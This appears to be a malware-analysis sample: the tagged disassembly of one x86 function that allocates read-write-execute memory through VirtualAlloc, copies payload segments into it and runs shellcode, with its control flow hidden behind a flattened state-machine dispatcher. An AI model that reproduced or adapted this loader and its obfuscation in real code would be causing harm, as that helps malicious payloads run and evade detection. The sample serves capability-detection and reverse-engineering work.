Function at 0x419b00
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x11c
mov eax, dword [ebp + 0xc]
mov ecx, dword [ebp + 8]
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x1c], ecx
mov eax, dword [ebp - 0x1c]
mov dword [ebp - 0x20], eax
mov eax, dword [ebp - 0x1c]
mov ecx, dword [ebp - 0x20]
add eax, dword [ecx + 0x11]
mov dword [ebp - 0x24], eax
mov eax, dword [ebp - 0x1c]
mov ecx, dword [ebp - 0x20]
add eax, dword [ecx + 0x15]
mov dword [ebp - 0x28], eax
mov dword [ebp - 0x2c], 0
mov dword [ebp - 0x34], 0
mov eax, dword [ebp - 0x20]
mov eax, dword [eax + 5]
mov ecx, esp
mov dword [ecx + 4], eax
mov dword [ecx + 0xc], 0x40
mov dword [ecx + 8], 0x1000
mov dword [ecx], 0
mov eax, dword [sym.imp.KERNEL32.dll_VirtualAlloc]
call eax
sub esp, 0x10
mov dword [ebp - 0x2c], eax
mov eax, dword [ebp - 0x2c]
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x38], 0x16c95253
mov eax, dword [ebp - 0x38]
mov ecx, eax
sub ecx, 0x7cac3c1b
mov dword [ebp - 0x3c], eax
mov dword [ebp - 0x40], ecx
jg 0x41a000
jmp 0x419b99
mov eax, dword [ebp - 0x3c]
sub eax, 0x70d1e45d
mov dword [ebp - 0x44], eax
jg 0x419fe7
jmp 0x419baf
mov eax, dword [ebp - 0x3c]
sub eax, 0x671f7f03
mov dword [ebp - 0x48], eax
jg 0x419fce
jmp 0x419bc5
mov eax, dword [ebp - 0x3c]
sub eax, 0x6436cc2b
mov dword [ebp - 0x4c], eax
jg 0x419fb5
jmp 0x419bdb
mov eax, dword [ebp - 0x3c]
sub eax, 0x812624d3
mov dword [ebp - 0x50], eax
jg 0x419c07
jmp 0x419bf1
mov eax, dword [ebp - 0x3c]
sub eax, 0x80e5d6d1
mov dword [ebp - 0x54], eax
je 0x41a09a
jmp 0x41a019
mov eax, dword [ebp - 0x3c]
sub eax, 0x820c364c
mov dword [ebp - 0x58], eax
jg 0x419c33
jmp 0x419c1d
mov eax, dword [ebp - 0x3c]
sub eax, 0x812624d4
mov dword [ebp - 0x5c], eax
je 0x41a1c6
jmp 0x41a019
mov eax, dword [ebp - 0x3c]
sub eax, 0x8d5f0832
mov dword [ebp - 0x60], eax
jg 0x419c5f
jmp 0x419c49
mov eax, dword [ebp - 0x3c]
sub eax, 0x820c364d
mov dword [ebp - 0x64], eax
je 0x41a2ae
jmp 0x41a019
mov eax, dword [ebp - 0x3c]
sub eax, 0xb6e7ec4c
mov dword [ebp - 0x68], eax
jg 0x419c8b
jmp 0x419c75
mov eax, dword [ebp - 0x3c]
sub eax, 0x8d5f0833
mov dword [ebp - 0x6c], eax
je 0x41a07c
jmp 0x41a019
mov eax, dword [ebp - 0x3c]
sub eax, 0xd246ef2d
mov dword [ebp - 0x70], eax
jg 0x419cb7
jmp 0x419ca1
mov eax, dword [ebp - 0x3c]
sub eax, 0xb6e7ec4d
mov dword [ebp - 0x74], eax
je 0x41a265
jmp 0x41a019
mov eax, dword [ebp - 0x3c]
sub eax, 0xda9b675f
mov dword [ebp - 0x78], eax
jg 0x419ce3
jmp 0x419ccd
mov eax, dword [ebp - 0x3c]
sub eax, 0xd246ef2e
mov dword [ebp - 0x7c], eax
je 0x41a100
jmp 0x41a019
mov eax, dword [ebp - 0x3c]
sub eax, 0xde81e196
mov dword [ebp - 0x80], eax
jg 0x419d12
jmp 0x419cf9
mov eax, dword [ebp - 0x3c]
sub eax, 0xda9b6760
mov dword [ebp - 0x84], eax
je 0x41a326
jmp 0x41a019
mov eax, dword [ebp - 0x3c]
sub eax, 0xedcd3dd7
mov dword [ebp - 0x88], eax
jg 0x419d44
jmp 0x419d2b
mov eax, dword [ebp - 0x3c]
sub eax, 0xde81e197
mov dword [ebp - 0x8c], eax
je 0x41a347
jmp 0x41a019
mov eax, dword [ebp - 0x3c]
sub eax, 0xf4a4aaf8
mov dword [ebp - 0x90], eax
jg 0x419d76
jmp 0x419d5d
mov eax, dword [ebp - 0x3c]
sub eax, 0xedcd3dd8
mov dword [ebp - 0x94], eax
je 0x41a1a2
jmp 0x41a019
mov eax, dword [ebp - 0x3c]
sub eax, 0xf67794d7
mov dword [ebp - 0x98], eax
jg 0x419da8
jmp 0x419d8f
mov eax, dword [ebp - 0x3c]
sub eax, 0xf4a4aaf9
mov dword [ebp - 0x9c], eax
je 0x41a0a7
jmp 0x41a019
mov eax, dword [ebp - 0x3c]
sub eax, 0xd499dcf
mov dword [ebp - 0xa0], eax
jg 0x419dda
jmp 0x419dc1
mov eax, dword [ebp - 0x3c]
sub eax, 0xf67794d8
mov dword [ebp - 0xa4], eax
je 0x41a2d9
jmp 0x41a019
mov eax, dword [ebp - 0x3c]
sub eax, 0x16c95252
mov dword [ebp - 0xa8], eax
jg 0x419e0c
jmp 0x419df3
mov eax, dword [ebp - 0x3c]
sub eax, 0xd499dd0
mov dword [ebp - 0xac], eax
je 0x41a21b
jmp 0x41a019
mov eax, dword [ebp - 0x3c]
sub eax, 0x1fb8fbd9
mov dword [ebp - 0xb0], eax
jg 0x419e3e
jmp 0x419e25
mov eax, dword [ebp - 0x3c]
sub eax, 0x16c95253
mov dword [ebp - 0xb4], eax
je 0x41a01e
jmp 0x41a019
mov eax, dword [ebp - 0x3c]
sub eax, 0x3890eac5
mov dword [ebp - 0xb8], eax
jg 0x419e70
jmp 0x419e57
mov eax, dword [ebp - 0x3c]
sub eax, 0x1fb8fbda
mov dword [ebp - 0xbc], eax
je 0x41a127
jmp 0x41a019
mov eax, dword [ebp - 0x3c]
sub eax, 0x419a41a9
mov dword [ebp - 0xc0], eax
jg 0x419ea2
jmp 0x419e89
mov eax, dword [ebp - 0x3c]
sub eax, 0x3890eac6
mov dword [ebp - 0xc4], eax
je 0x41a2f5
jmp 0x41a019
mov eax, dword [ebp - 0x3c]
sub eax, 0x44251122
mov dword [ebp - 0xc8], eax
jg 0x419ed4
jmp 0x419ebb
mov eax, dword [ebp - 0x3c]
sub eax, 0x419a41aa
mov dword [ebp - 0xcc], eax
je 0x41a35a
jmp 0x41a019
mov eax, dword [ebp - 0x3c]
sub eax, 0x45cdb609
mov dword [ebp - 0xd0], eax
jg 0x419f06
jmp 0x419eed
mov eax, dword [ebp - 0x3c]
sub eax, 0x44251123
mov dword [ebp - 0xd4], eax
je 0x41a2c7
jmp 0x41a019
mov eax, dword [ebp - 0x3c]
sub eax, 0x479067ea
mov dword [ebp - 0xd8], eax
jg 0x419f38
jmp 0x419f1f
mov eax, dword [ebp - 0x3c]
sub eax, 0x45cdb60a
mov dword [ebp - 0xdc], eax
je 0x41a03c
jmp 0x41a019
mov eax, dword [ebp - 0x3c]
sub eax, 0x59fdd8d8
mov dword [ebp - 0xe0], eax
jg 0x419f6a
jmp 0x419f51
mov eax, dword [ebp - 0x3c]
sub eax, 0x479067eb
mov dword [ebp - 0xe4], eax
je 0x41a070
jmp 0x41a019
mov eax, dword [ebp - 0x3c]
sub eax, 0x59fdd8d9
mov dword [ebp - 0xe8], eax
je 0x41a05c
jmp 0x419f83
mov eax, dword [ebp - 0x3c]
sub eax, 0x5ce05343
mov dword [ebp - 0xec], eax
je 0x41a339
jmp 0x419f9c
mov eax, dword [ebp - 0x3c]
sub eax, 0x5d0f298c
mov dword [ebp - 0xf0], eax
je 0x41a04f
jmp 0x41a019
mov eax, dword [ebp - 0x3c]
sub eax, 0x6436cc2c
mov dword [ebp - 0xf4], eax
je 0x41a0f4
jmp 0x41a019
mov eax, dword [ebp - 0x3c]
sub eax, 0x671f7f04
mov dword [ebp - 0xf8], eax
je 0x41a3a6
jmp 0x41a019
mov eax, dword [ebp - 0x3c]
sub eax, 0x70d1e45e
mov dword [ebp - 0xfc], eax
je 0x41a2bb
jmp 0x41a019
mov eax, dword [ebp - 0x3c]
sub eax, 0x7cac3c1c
mov dword [ebp - 0x100], eax
je 0x41a2a1
jmp 0x41a019
jmp 0x41a3ad
mov eax, 0x45cdb60a
mov ecx, 0x5d0f298c
mov edx, dword [ebp - 0x10]
cmp edx, 0
cmovne eax, ecx
mov dword [ebp - 0x38], eax
jmp 0x41a3ad
mov eax, dword [sym.imp.ADVAPI32.dll_BuildTrusteeWithNameW]
mov esi, dword [eax]
mov dword [ebp - 0x38], 0xf67794d8
jmp 0x41a3ad
mov eax, 0x59fdd8d9
mov dword [ebp - 0x38], eax
jmp 0x41a3ad
mov eax, 0x479067eb
mov dword [ebp - 0x30], 0
mov dword [ebp - 0x38], eax
jmp 0x41a3ad
mov dword [ebp - 0x38], 0x8d5f0833
jmp 0x41a3ad
mov eax, 0x1fb8fbda
mov ecx, 0x80e5d6d1
mov edx, dword [ebp - 0x30]
mov esi, dword [ebp - 0x20]
cmp edx, dword [esi + 0xd]
cmovb eax, ecx
mov dword [ebp - 0x38], eax
jmp 0x41a3ad
mov eax, 0xf4a4aaf9
mov dword [ebp - 0x38], eax
jmp 0x41a3ad
mov eax, dword [ebp - 0x24]
mov eax, dword [eax + 5]
mov ecx, dword [ebp - 0x24]
add ecx, 0xd
mov edx, dword [ebp - 0x2c]
mov esi, dword [ebp - 0x24]
add edx, dword [esi + 1]
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
call fcn.004069d0
mov ecx, 0x6436cc2c
mov edx, dword [ebp - 0x24]
add edx, 0xd
mov esi, dword [ebp - 0x24]
add edx, dword [esi + 5]
mov dword [ebp - 0x24], edx
mov dword [ebp - 0x38], ecx
mov dword [ebp - 0x104], eax
jmp 0x41a3ad
mov dword [ebp - 0x38], 0xd246ef2e
jmp 0x41a3ad
mov eax, 0
mov ecx, dword [ebp - 0x30]
mov edx, eax
sub edx, ecx
mov ecx, eax
sub ecx, 1
add edx, ecx
sub eax, edx
mov dword [ebp - 0x30], eax
mov dword [ebp - 0x38], 0x8d5f0833
jmp 0x41a3ad
mov eax, 0x20
mov ecx, dword [ebp - 0x28]
add ecx, 1
mov edx, dword [ebp - 0x18]
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], 0x20
mov dword [ebp - 0x108], eax
call fcn.004069d0
mov ecx, 0x812624d4
mov edx, 0xedcd3dd8
mov esi, 0xffffffff
mov edi, dword [ebp - 0x28]
movzx edi, byte [edi]
xor edi, 0xffffffff
mov ebx, esi
xor ebx, 1
xor esi, 0xd6691591
or edi, ebx
or esi, 0xd6691591
xor edi, 0xffffffff
and edi, esi
cmp edi, 0
cmovne ecx, edx
mov dword [ebp - 0x38], ecx
mov dword [ebp - 0x10c], eax
jmp 0x41a3ad
mov eax, dword [ebp - 0x2c]
mov ecx, dword [ebp - 0x28]
add eax, dword [ecx + 1]
mov ecx, dword [ebp - 0x2c]
mov dword [esp], ecx
mov dword [esp + 4], eax
call fcn.00417a20
mov dword [ebp - 0x38], 0x812624d4
jmp 0x41a3ad
call fcn.0041b770
mov ecx, 0xb6e7ec4d
mov edx, 0xd499dd0
mov esi, 0xffffffff
mov edi, dword [ebp - 0x28]
movzx edi, byte [edi]
xor edi, 0xffffffff
mov ebx, esi
xor ebx, 3
xor esi, 0x6d62a9c1
or edi, ebx
or esi, 0x6d62a9c1
xor edi, 0xffffffff
and edi, esi
cmp edi, 0
cmovne ecx, edx
mov dword [ebp - 0x38], ecx
mov dword [ebp - 0x110], eax
jmp 0x41a3ad
mov eax, 0xb85fd92d
mov ecx, dword [ebp - 0x2c]
mov edx, dword [ebp - 0x20]
mov edx, dword [edx + 1]
add eax, 0
sub eax, edx
sub eax, 0xb85fd92d
add ecx, eax
mov dword [ebp - 0x34], ecx
mov eax, dword [ebp - 0x2c]
mov ecx, dword [ebp - 0x28]
add eax, dword [ecx + 0x19]
mov ecx, dword [ebp - 0x34]
mov edx, dword [ebp - 0x2c]
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
call fcn.004183f0
mov dword [ebp - 0x38], 0xb6e7ec4d
jmp 0x41a3ad
mov eax, dword [ebp - 0x1c]
mov ecx, dword [ebp - 0x20]
add eax, dword [ecx + 0x11]
mov ecx, dword [ebp - 0x20]
mov ecx, dword [ecx + 0xd]
mov edx, dword [ebp - 0x2c]
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
call fcn.004191d0
mov ecx, 0x44251123
mov edx, 0x7cac3c1c
cmp eax, 0
cmovl ecx, edx
mov dword [ebp - 0x38], ecx
jmp 0x41a3ad
mov eax, 0x820c364d
mov dword [ebp - 0x38], eax
jmp 0x41a3ad
mov eax, 0x70d1e45e
mov dword [ebp - 0x38], eax
jmp 0x41a3ad
mov dword [ebp - 0x38], 0xf67794d8
jmp 0x41a3ad
mov eax, dword [ebp - 0x2c]
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x38], 0x5ce05343
jmp 0x41a3ad
mov eax, 0xda9b6760
mov ecx, 0x3890eac6
cmp dword [ebp - 0x2c], 0
cmovne eax, ecx
mov dword [ebp - 0x38], eax
jmp 0x41a3ad
mov eax, dword [ebp - 0x2c]
mov ecx, esp
mov dword [ecx], eax
mov dword [ecx + 8], 0x8000
mov dword [ecx + 4], 0
mov eax, dword [sym.imp.KERNEL32.dll_VirtualFree]
call eax
sub esp, 0xc
mov dword [ebp - 0x38], 0xda9b6760
mov dword [ebp - 0x114], eax
jmp 0x41a3ad
mov dword [ebp - 0x14], 0
mov dword [ebp - 0x38], 0x5ce05343
jmp 0x41a3ad
mov eax, dword [ebp - 0x14]
add esp, 0x11c
pop esi
pop edi
pop ebx
pop ebp
ret
mov dword [ebp - 0x30], 0
mov dword [ebp - 0x38], 0x59fdd8d9
jmp 0x41a3ad
mov eax, dword [ebp - 0x24]
mov eax, dword [eax + 5]
mov ecx, dword [ebp - 0x24]
add ecx, 0xd
mov edx, dword [ebp - 0x2c]
mov esi, dword [ebp - 0x24]
add edx, dword [esi + 1]
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
call fcn.004069d0
mov ecx, dword [ebp - 0x24]
add ecx, 0xd
mov edx, dword [ebp - 0x24]
add ecx, dword [edx + 5]
mov dword [ebp - 0x24], ecx
mov dword [ebp - 0x38], 0xf4a4aaf9
mov dword [ebp - 0x118], eax
jmp 0x41a3ad
mov dword [ebp - 0x38], 0x820c364d
jmp 0x419b7d